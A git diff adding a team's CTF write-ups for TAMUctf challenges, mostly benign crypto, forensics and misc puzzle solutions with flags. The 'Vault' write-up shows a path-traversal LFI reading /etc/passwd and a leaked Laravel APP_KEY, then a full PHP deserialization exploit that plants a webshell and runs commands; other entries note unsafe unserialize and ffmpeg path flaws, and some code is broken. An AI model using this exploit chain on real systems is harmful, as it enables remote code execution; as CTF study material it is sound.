diff --git a/Abnormal-Ellipse-crypto.md b/Abnormal-Ellipse-crypto.md
new file mode 100644
index 0000000..0cc4e63
--- /dev/null
+++ b/Abnormal-Ellipse-crypto.md
@@ -0,0 +1,2 @@
+# Abnormal Ellipse - crypto
+
diff --git a/Broken-Website-web.md b/Broken-Website-web.md
new file mode 100644
index 0000000..9165abd
--- /dev/null
+++ b/Broken-Website-web.md
@@ -0,0 +1,110 @@
+# Broken Website - web
+
+## Summary
+
+The future is quic, this challenge was not.
+
+## Problem
+
+`curl -v https://broken-website.tamuctf.cybr.club/`
+
+```
+* Host broken-website.tamuctf.cybr.club:443 was resolved.
+* IPv6: (none)
+* IPv4: 54.91.191.64
+* Trying 54.91.191.64:443...
+* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen
+* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
+* closing connection #0
+curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
+```
+
+Every attempt to connect to this site fails and/or times out.
+
+## Solution
+
+**Steps to solve:**
+- Check some ports
+- Check ALL the ports
+- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!?
+- try port knocking
+ - with default sequences
+ - with custom sequences
+ - consider doing a rain dance
+- absolutely NO response from the server, so it HAS to be a network problem
+ - with 3 persons:
+ - blame AWS, because there currently is a offcially announced AWS problem between USA and europe
+ - find out that when connecting via nordvpn there is an answer on port 80
+ - rent servers in different parts of the world to check network issue
+ - blame challenge autor
+ - blame ctf infrastructure
+ - complain in support discord
+ - loop for 3 hours
+- ignore this messed up stuff
+ - go to a concert
+ - drink some wine
+- come back, think about tcp and udp
+ - vaguely remember some vague reference some month ago when someone mentioned quic
+
+### Try quic/http3
+
+https://curl.se/docs/manpage.html#--http3-only
+`curl -v --http3-only https://broken-website.tamuctf.cybr.club/`
+
+```
+* Host broken-website.tamuctf.cybr.club:443 was resolved.
+* IPv6: (none)
+* IPv4: 54.91.191.64
+* Trying 54.91.191.64:443...
+* SSL Trust Anchors:
+* CAfile: /etc/ssl/certs/ca-certificates.crt
+* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
+* Server certificate:
+* subject:
+* start date: Mar 22 07:09:30 2026 GMT
+* expire date: Mar 22 19:09:30 2026 GMT
+* issuer: CN=Caddy Local Authority - ECC Intermediate
+* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
+* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
+* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club"
+* OpenSSL verify result: 14
+* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20)
+* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK
+* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
+* closing connection #0
+curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
+More details here: https://curl.se/docs/sslcerts.html
+
+curl failed to verify the legitimacy of the server and therefore could not
+establish a secure connection to it. To learn more about this situation and
+how to fix it, please visit the webpage mentioned above.
+```
+
+Certificate problem? -> ignore
+https://curl.se/docs/manpage.html#--insecure
+`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/`
+
+```html
+
+
+
+
+
+ Fancy Website
+
+
+
+
+
+
+
Welcome to my website!
+
Here's the flag:
+
gigem{7h3_fu7u23_15_qu1c_64d1f5}
+
+
+```
+
+## Flag
+
+`gigem{7h3_fu7u23_15_qu1c_64d1f5}`
+
diff --git a/Colonel-forensics.md b/Colonel-forensics.md
new file mode 100644
index 0000000..759779b
--- /dev/null
+++ b/Colonel-forensics.md
@@ -0,0 +1,37 @@
+# Colonel - forensics
+fridgebuyer
+
+### vol
+
+vol -f memory.dump linux.bash.Bash
+vol -f memory.dump linux.kmsg.Kmsg
+
+"insmod check_service.ko key_path=validation*"
+
+### kmsg
+
+Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect```
+
+Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect```
+
+A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts.
+
+### Decode hex to ASCII
+swap incorrect indices between keys (Key 1 as a base
+ and replace its bad positions (9, 21, 31) with the correct chars
+ from Key 2)
+
+ -> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e
+
+### Decrypt
+IV - 1234567890123456, key - ASCII bytes
+
+python3 -c "
+from Crypto.Cipher import AES
+key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e'
+iv = b'1234567890123456'
+ct = open('flag.enc','rb').read()
+print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct))
+"
+
+**gigem{bl3ss3d_4r3_th3_c010n31_m33k}**
\ No newline at end of file
diff --git a/Favorite-Sponsor-getting-started.md b/Favorite-Sponsor-getting-started.md
new file mode 100644
index 0000000..d85746f
--- /dev/null
+++ b/Favorite-Sponsor-getting-started.md
@@ -0,0 +1,3 @@
+# Favorite Sponsor - getting started
+
+Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}!
\ No newline at end of file
diff --git a/Gamer-Returns-misc.md b/Gamer-Returns-misc.md
new file mode 100644
index 0000000..0381e09
--- /dev/null
+++ b/Gamer-Returns-misc.md
@@ -0,0 +1,2 @@
+# Gamer Returns - misc
+
diff --git a/Goodbye-libc-pwn.md b/Goodbye-libc-pwn.md
new file mode 100644
index 0000000..1c1b47e
--- /dev/null
+++ b/Goodbye-libc-pwn.md
@@ -0,0 +1,2 @@
+# Goodbye libc - pwn
+
diff --git a/Hidden-Log-Factoring-crypto.md b/Hidden-Log-Factoring-crypto.md
new file mode 100644
index 0000000..416349a
--- /dev/null
+++ b/Hidden-Log-Factoring-crypto.md
@@ -0,0 +1,150 @@
+# Hidden Log Factoring - crypto
+
+Den Schnippsel in https://sagecell.sagemath.org/ kopieren:
+
+```
+# Deine Werte
+p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
+y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
+g = 11
+
+# Erstelle den Restklassenring/Körper
+R = Integers(p)
+target = R(y)
+base = R(g)
+
+# Nutze die globale discrete_log Funktion mit der Schranke 2^100
+# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
+s = discrete_log(target, base, bounds=(1, 1 << 100))
+
+print(f"Gefundenes s: {s}")
+```
+
+`Gefundenes s: 485391067385099231898174017598`
+
+
+LLM genereated:
+
+```
+
+def decrypt(c, p, q):
+ n = p * q
+ # Berechnung der Quadratwurzeln modulo p und q
+ # Dies ist für p, q ≡ 3 (mod 4) besonders einfach
+ mp = pow(c, (p + 1) // 4, p)
+ mq = pow(c, (q + 1) // 4, q)
+
+ # Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1
+ def extended_gcd(a, b):
+ if a == 0: return b, 0, 1
+ gcd, x1, y1 = extended_gcd(b % a, a)
+ return gcd, y1 - (b // a) * x1, x1
+
+ _, yp, yq = extended_gcd(p, q)
+
+ # Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz)
+ r1 = (yp * p * mq + yq * q * mp) % n
+ r2 = n - r1
+ r3 = (yp * p * mq - yq * q * mp) % n
+ r4 = n - r3
+
+ return [r1, r2, r3, r4]
+```
+
+
+Ehrenlos zusammengevibed:
+
+```
+from Crypto.Util.number import long_to_bytes, bytes_to_long
+from cryptography.hazmat.primitives.kdf.hkdf import HKDF
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.backends import default_backend
+
+# --- Gegebene Daten einfügen ---
+n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831
+e = 65537
+p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
+g = 11
+A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
+D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624
+c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496
+
+# --- 1. DLP lösen mit Sage ---
+print("[*] Löse DLP für s...")
+# Erstelle den Restklassenring/Körper
+R = Integers(p)
+target = R(A)
+base = R(g)
+
+# Nutze die globale discrete_log Funktion mit der Schranke 2^100
+# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
+s = discrete_log(target, base, bounds=(1, 1 << 100))
+print(f"[+] s gefunden: {s}")
+
+# --- 2. d-Maske berechnen ---
+def get_mask(s_val, bit_len):
+ hkdf = HKDF(
+ algorithm=hashes.SHA256(),
+ length=bit_len // 8,
+ salt=None,
+ info=b"rsa-d-mask",
+ backend=default_backend()
+ )
+ return bytes_to_long(hkdf.derive(long_to_bytes(s_val)))
+
+# Wir nehmen an, dass d etwa so lang wie n ist
+mask = get_mask(s, n.bit_length())
+d = int(D ^ mask)
+print(f"[+] d={d} berechnet.")
+
+# --- 3. n faktorisieren (via e und d) ---
+# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus
+def factor_n_ed(n, e, d):
+ k = d * e - 1
+ g = 2
+ while True:
+ t = k
+ while t % 2 == 0:
+ t //= 2
+ x = pow(g, t, n)
+ if x > 1:
+ y = gcd(x - 1, n)
+ if y > 1 and y < n:
+ return int(y), int(n // y)
+ g = next_prime(g)
+
+q1, q2 = factor_n_ed(n, e, d)
+print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}")
+
+# Nutze die Faktoren q1 und q2 für die schnelle Berechnung
+def general_rabin_decrypt(c, p, q):
+ # Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4)
+ # Fp und Fq sind die endlichen Körper
+ Fp = GF(p)
+ Fq = GF(q)
+
+ # sqrt() in GF(p) findet alle Wurzeln
+ roots_p = Fp(c).sqrt(all=True)
+ roots_q = Fq(c).sqrt(all=True)
+
+ results = []
+ for rp in roots_p:
+ for rq in roots_q:
+ # Kombiniere alle Paarungen via Chinesischem Restsatz
+ res = crt([int(rp), int(rq)], [int(p), int(q)])
+ results.append(res)
+ return results
+
+potential_roots = general_rabin_decrypt(c, q1, q2)
+
+for r in potential_roots:
+ # Umwandlung von Integer zu Bytes
+ try:
+ flag_candidate = long_to_bytes(int(r))
+ print(f"Gefundene Nachricht: {flag_candidate}")
+ if b"flag" in flag_candidate.lower() or b"{" in flag_candidate:
+ print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}")
+ except:
+ continue
+
+```
\ No newline at end of file
diff --git a/Nucleus-rev.md b/Nucleus-rev.md
new file mode 100644
index 0000000..2bc5e72
--- /dev/null
+++ b/Nucleus-rev.md
@@ -0,0 +1,2 @@
+# Nucleus - rev
+
diff --git a/POP-Restaurant-web-easy.md b/POP-Restaurant-web-easy.md
new file mode 100644
index 0000000..17158c4
--- /dev/null
+++ b/POP-Restaurant-web-easy.md
@@ -0,0 +1,55 @@
+# POP Restaurant - web - easy
+
+## Description
+
+Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application.
+
+----
+
+## General
+- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt`
+ - Therefore name is not predictable - probably RCE needed?
+ -
+
+explanation of the attack vector
+https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
+
+
+## Compose
+
+Place one directory level above the provided challenge folder.
+
+Launch with `docker compose up --watch`.
+
+```yaml
+services:
+ web-pop_restaurant:
+ build:
+ context: ./challenge # if one level above provided challenge files.
+ dockerfile: Dockerfile
+ container_name: web-pop_restaurant
+ ports:
+ - "1337:80"
+ stdin_open: true
+ tty: true
+ develop:
+ watch:
+ - action: sync
+ path: ./challenge/challenge
+ target: /var/www/html
+ ignore:
+ - .git/
+ - action: sync
+ path: ./challenge/flag.txt
+ target: /flag.txt
+```
+
+## `order.php`
+
+```php=16
+$order = unserialize(base64_decode($_POST['data']));
+```
+
+User controlled input, unsaitized, send to unserialize().
+
+Thats bad :(
\ No newline at end of file
diff --git a/Phantom-forensics.md b/Phantom-forensics.md
new file mode 100644
index 0000000..63fa5ff
--- /dev/null
+++ b/Phantom-forensics.md
@@ -0,0 +1,8 @@
+# Phantom - forensics
+
+- git fsck --unreachable --no-reflogs
+- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done
+
+=== 86f49cf ===
+**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}**
+
diff --git a/Quick-Response-misc.md b/Quick-Response-misc.md
new file mode 100644
index 0000000..bffdec3
--- /dev/null
+++ b/Quick-Response-misc.md
@@ -0,0 +1,67 @@
+# Quick Response - misc
+
+
+
+
+fridgebuyer
+
+- The QR is 29x29 == version 3
+- Each module = 32x32 px
+- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right)
+- What should be alternated are solid lines (timing strips)
+- So the original QR was likely XORed with a Checkerboard pattern
+- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this
+- But this was applied to entire qr code, not only to the data region
+- So need to XOR every module with (row + col) % 2 again.
+
+### sol
+
+```
+from PIL import Image
+import numpy as np
+from pyzbar.pyzbar import decode
+
+img = Image.open("quick-response.png").convert("RGB")
+arr = np.array(img)
+
+# extract module grid
+module_size = 32
+n = 29
+dark = np.array([20, 22, 27])
+
+grid = np.zeros((n, n), dtype=int)
+for r in range(n):
+ for c in range(n):
+ cy = r * module_size + module_size // 2
+ cx = c * module_size + module_size // 2
+ pixel = arr[cy, cx]
+ if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100:
+ grid[r, c] = 1
+
+# XOR (i + j) mod 2 = 0
+for r in range(n):
+ for c in range(n):
+ grid[r, c] ^= (r + c) % 2
+
+# write fixed QR code
+scale = 10
+border = 4
+total = (n + 2 * border) * scale
+out = Image.new("L", (total, total), 255)
+px = out.load()
+for r in range(n):
+ for c in range(n):
+ if grid[r, c] == 1:
+ for dy in range(scale):
+ for dx in range(scale):
+ px[(c + border) * scale + dx, (r + border) * scale + dy] = 0
+
+result = decode(out)
+for r in result:
+ print(r.data.decode())
+
+```
+
+
+
+**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}**
diff --git a/Random-Password-crypto.md b/Random-Password-crypto.md
new file mode 100644
index 0000000..e88f282
--- /dev/null
+++ b/Random-Password-crypto.md
@@ -0,0 +1,38 @@
+# Random Password - crypto
+
+
+```
+def backtrack(idx, sample, fives, sevens, accu, result):
+ if idx == 5718 and len(result(256)):
+ result.append(accu)
+ return
+
+ if len(fives) > 1 and sum(fives) < 5:
+ fives.append(sample[idx])
+ backtrack(idx + 1, sample,fives, sevens, accu, result)
+ fives.pop()
+ elif len(sevens) > 1 and sum(sevens) < 17:
+ sevens.append(sample[idx])
+ backtrack(idx + 1, sample,fives, sevens, accu, result)
+ sevens.pop()
+ elif len(fives) > 1 and sum(fives) > 5:r
+ accu.append(fives)
+ backtrack(idx, sample, [], sevens, accu, result)
+ accu.pop()
+ elif len(sevens) > 1 and sum(sevens) > 17:
+ accu.append(sevens)
+ backtrack(idx, sample, fives, [], accu, result)
+ accu.pop()
+
+ fives.append(sample[idx])
+ backtrack(idx + 1, sample,fives, sevens, accu, result)
+ fives.pop()
+
+ sevens.append(sample[idx])
+ backtrack(idx + 1, sample,fives, sevens, accu, result)
+ sevens.pop()
+
+result = []
+backtrack(0, sample, [], [], [], result)
+
+```
\ No newline at end of file
diff --git a/Short-Term-Fuel-Trim-misc.md b/Short-Term-Fuel-Trim-misc.md
new file mode 100644
index 0000000..7ec958b
--- /dev/null
+++ b/Short-Term-Fuel-Trim-misc.md
@@ -0,0 +1,67 @@
+# Short Term Fuel Trim - misc
+
+The data is a list of _129*1380_ complex numbers
+```
+# STFT shape: complex64 (129, 1380)
+ (0.000000000000000000e+00+0.000000000000000000e+00j)
+ (0.000000000000000000e+00+0.000000000000000000e+00j)
+ (-1.484999775886535645e+00+0.000000000000000000e+00j)
+ (2.873720169067382812e+00+0.000000000000000000e+00j)
+ (9.447572708129882812e+00+0.000000000000000000e+00j)
+ (8.104647827148437500e+01+0.000000000000000000e+00j)
+ (1.316259765625000000e+01+0.000000000000000000e+00j)
+ (-3.101673889160156250e+02+0.000000000000000000e+00j)
+ (-4.186026916503906250e+02+0.000000000000000000e+00j)
+ (-5.818300781250000000e+02+0.000000000000000000e+00j)
+ (2.119775390625000000e+02+0.000000000000000000e+00j)
+ (-1.738154602050781250e+02+0.000000000000000000e+00j)
+ (-2.650747985839843750e+02+0.000000000000000000e+00j)
+ (-3.873171691894531250e+02+0.000000000000000000e+00j)
+ (-4.193124389648437500e+02+0.000000000000000000e+00j)
+ (-1.984837646484375000e+02+0.000000000000000000e+00j)
+ (-1.092494659423828125e+02+0.000000000000000000e+00j)
+
+```
+STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform).
+The data is actually the STFT of an audio signal.
+
+Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html),
+we performed the inverse transform and reconstructed the audio signal
+```python
+
+with open("numbers.txt", "r") as f:
+ lines = f.readlines()
+
+shape = (129, 1380)
+
+nums = np.array([complex(l.strip()) for l in lines[1:]])
+arr = nums.reshape(*shape)
+
+
+sampling_rate_hz = 44100
+
+t, z = istft(arr, fs=sampling_rate_hz)
+
+from scipy.io import wavfile
+
+def time_series_to_wav(arr, sample_rate=44100):
+ #sample_rate = 44100 # Hz — set correctly
+ #samples = samples.astype(np.float32)
+
+ arr_mean = arr.mean()
+ arr_ptp = arr.max() - arr.min()
+
+ samples = (arr - arr_mean)*2/arr_ptp
+
+ # Normalize if float in [-1,1], convert to 16-bit:
+ scaled = (samples * 32767).astype(np.int16)
+
+ wavfile.write("out.wav", sample_rate, scaled)
+
+time_series_to_wav(z, sample_rate=44100)
+```
+
+The flag is spoken text, and can be transcribed from the wav file.
+
+
+The flag is `gigem{fft_is_50_0p}`
diff --git a/Sun-Temple-rev.md b/Sun-Temple-rev.md
new file mode 100644
index 0000000..cf26e6d
--- /dev/null
+++ b/Sun-Temple-rev.md
@@ -0,0 +1,2 @@
+# Sun Temple - rev
+
diff --git a/Task-Manager-pwn.md b/Task-Manager-pwn.md
new file mode 100644
index 0000000..04a2642
--- /dev/null
+++ b/Task-Manager-pwn.md
@@ -0,0 +1,2 @@
+# Task Manager - pwn
+
diff --git a/Test-task.md b/Test-task.md
new file mode 100644
index 0000000..eb95472
--- /dev/null
+++ b/Test-task.md
@@ -0,0 +1,16 @@
+# Test task
+
+## Description
+
+Test task
+
+----
+
+fuuuuuuuu
+
+
+
+asdw
+
+
+passt
\ No newline at end of file
diff --git a/Time-Capsule-forensics.md b/Time-Capsule-forensics.md
new file mode 100644
index 0000000..627d60f
--- /dev/null
+++ b/Time-Capsule-forensics.md
@@ -0,0 +1,33 @@
+# Time Capsule - forensics
+fridgebuyer
+
+- mount the image
+- in nostalgia/ ASCII chars can be derived from each file's mtime
+- char = minutes * 60 + seconds
+
+memory_1.jpg 2007-01-01 02:01:43
+
+-- 1*60+43 = 103 = 'g'
+
+```
+
+python3 << 'EOF'
+import os, datetime
+
+flag = ""
+for i in range(1, 18):
+ f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}."))
+ dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime)
+ ascii_val = dt.minute * 60 + dt.second
+ char = chr(ascii_val)
+ flag += char
+ print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'")
+
+print(f"\nFlag: {flag}")
+EOF
+
+```
+
+**gigem{byg0n3_3r4}**
+
+
diff --git a/Untitled.md b/Untitled.md
new file mode 100644
index 0000000..e69de29
diff --git a/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md b/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
new file mode 100644
index 0000000..421dae9
--- /dev/null
+++ b/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
@@ -0,0 +1,3 @@
+Test
+
+test2
\ No newline at end of file
diff --git a/Vault-web.md b/Vault-web.md
new file mode 100644
index 0000000..b04de7d
--- /dev/null
+++ b/Vault-web.md
@@ -0,0 +1,300 @@
+# Vault - web
+
+## entrypoint.sh
+
+
+```shell
+...
+mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
+...
+```
+
+Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
+
+
+## Compose
+
+The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
+
+Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
+This example assumes to be one directory level above the provided challenge files:
+
+```yaml
+services:
+ vault:
+ build:
+ context: ./challenge
+ dockerfile: Dockerfile
+ ports:
+ - "9090:80"
+ container_name: vault
+ restart: unless-stopped
+```
+
+## LFI
+
+
+In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
+
+```php=69
+$name = $_FILES['avatar']['full_path'];
+$path = "/var/www/storage/app/public/avatars/$name";
+$request->file('avatar')->storeAs('avatars', basename($name), 'public');
+
+$user->avatar = $path;
+$user->save();
+```
+
+
+```php=69
+$name = $_FILES['avatar']['full_path'];
+```
+
+is completely user supplied.
+https://www.php.net/manual/en/reserved.variables.files.php
+
+The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
+
+```php=70
+$path = "/var/www/storage/app/public/avatars/$name";
+```
+No sanitizing here.
+
+
+```php=71
+$request->file('avatar')->storeAs('avatars', basename($name), 'public');
+```
+
+The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
+
+
+```php=73
+$user->avatar = $path;
+$user->save();
+```
+
+The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
+
+
+So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
+
+When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
+
+
+Sadly there is no GUI for the avatar upload.
+Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
+
+```php-template=26
+
+
Update Avatar
+
+
+ @if (session('avatar_error'))
+
+
{{ session('avatar_error') }}
+
+ @endif
+
+```
+
+0. Rebuild the challenge
+1. upload a legitimate image file, sniff the http request
+2. manipulate and resend http request to change the full_path name
+
+```http
+Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
+```
+
+3. read `/etc/passwd` from http://localhost:9090/avatar
+
+
+Further things that might be interesting:
+- php Application
+ - Database
+ - php sessions
+ - log files?
+ - ...?
+- system
+ - environment variables?
+
+
+`/var/www/.env` contains
+
+```
+APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
+```
+
+-> this should allow for creation and signing of things?
+- Voucher
+- Cookies
+- Sessions
+- ???
+
+Probably even leading to insecure deserialisation??
+
+
+Even if the cookie signing itself should not be vulnerable,
+there is some custom decryption logic for the vouchers that might be vulnerable.
+
+`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
+
+```php=37
+ $voucher = encrypt([
+ 'amount' => $amount,
+ 'created_by' => $user->uuid,
+ 'created_at' => Carbon::now()
+ ]);
+```
+
+```php=53
+ $voucher = decrypt($data['voucher']);
+```
+
+
+https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
+
+> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
+
+The `VouchersController` does not use `$serialize=true`, will this work anyway?
+
+> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
+- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
+
+It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
+
+Also had severa trouble with the tool, probably user error...
+
+Guzzle is also available, maybe matching.
+
+```
+'cipher' => 'AES-256-CBC',
+```
+
+
+After some discussion with copilot,
+it explained that there is need for a __descruct() call in combination with some other neccessary.
+
+There is a guzzle CookieJar Class, that fits!
+
+Copilot got tired (whatever problem, idk), so gemini created this script,
+that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
+
+But ctf was already over :(
+
+
+```php
+';
+
+$cookie = new SetCookie([
+ 'Name' => 'payload',
+ 'Value' => $payloadStr,
+ 'Domain' => 'example.com',
+ 'Path' => '/',
+ 'Max-Age' => null,
+ 'Expires' => null,
+ 'Secure' => false,
+ 'Discard' => false,
+ 'HttpOnly' => false,
+]);
+
+// Gadget chain using FileCookieJar
+$filename = '/var/www/public/shell.php';
+$jarPayload = new FileCookieJar($filename, true);
+$jarPayload->setCookie($cookie);
+
+$serialized = serialize($jarPayload);
+
+$iv = random_bytes(16);
+$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
+
+$payloadArr = [
+ 'iv' => base64_encode($iv),
+ 'value' => $encrypted,
+ 'tag' => base64_encode('')
+];
+
+$voucher = base64_encode(json_encode($payloadArr));
+echo "[+] Generated voucher payload.\n";
+
+$jar = new CookieJar();
+$client = new Client([
+ 'base_uri' => $baseUri,
+ 'cookies' => $jar,
+ 'http_errors' => false
+]);
+
+echo "[+] Fetching CSRF token...\n";
+$res = $client->get('/register');
+$html = (string) $res->getBody();
+preg_match('/post('/register', [
+ 'form_params' => [
+ '_token' => $csrfToken,
+ 'username' => $username,
+ 'password' => $password,
+ 'password2' => $password
+ ]
+]);
+
+echo "[+] Logging in...\n";
+$res = $client->post('/login', [
+ 'form_params' => [
+ '_token' => $csrfToken,
+ 'username' => $username,
+ 'password' => $password
+ ]
+]);
+
+echo "[+] Fetching new CSRF token for voucher redemption...\n";
+$res = $client->get('/vouchers');
+$html = (string) $res->getBody();
+preg_match('/post('/vouchers/redeem', [
+ 'form_params' => [
+ '_token' => $csrfToken,
+ 'voucher' => $voucher
+ ]
+]);
+echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
+
+echo "[+] Triggering payload at /shell.php...\n";
+$res = $client->get('/shell.php', [
+ 'query' => [
+ '1' => 'ls / > /tmp/ls.txt'
+ ]
+]);
+
+echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
+echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
+
+```
diff --git a/War-Hymn-rev.md b/War-Hymn-rev.md
new file mode 100644
index 0000000..24ca430
--- /dev/null
+++ b/War-Hymn-rev.md
@@ -0,0 +1,2 @@
+# War Hymn - rev
+
diff --git a/bad-apple-web.md b/bad-apple-web.md
new file mode 100644
index 0000000..5d67309
--- /dev/null
+++ b/bad-apple-web.md
@@ -0,0 +1,232 @@
+# bad-apple - web
+
+
+
+## Information
+```
+-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile
+-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf
+-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*
+```
+
+
+We can control user_id and filename on all routes.
+
+On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html).
+
+Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]`
+
+## Notables
+The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144).
+This looks like its later passed to the `extract_frames` function which uses it to construct a command:
+```python
+def extract_frames(input_path, output_dir, gif_name):
+
+# ...
+
+ cmd = [
+ 'ffmpeg', '-i', input_path,
+ '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
+ '-y', f'{output_dir}/palette.png'
+ ]
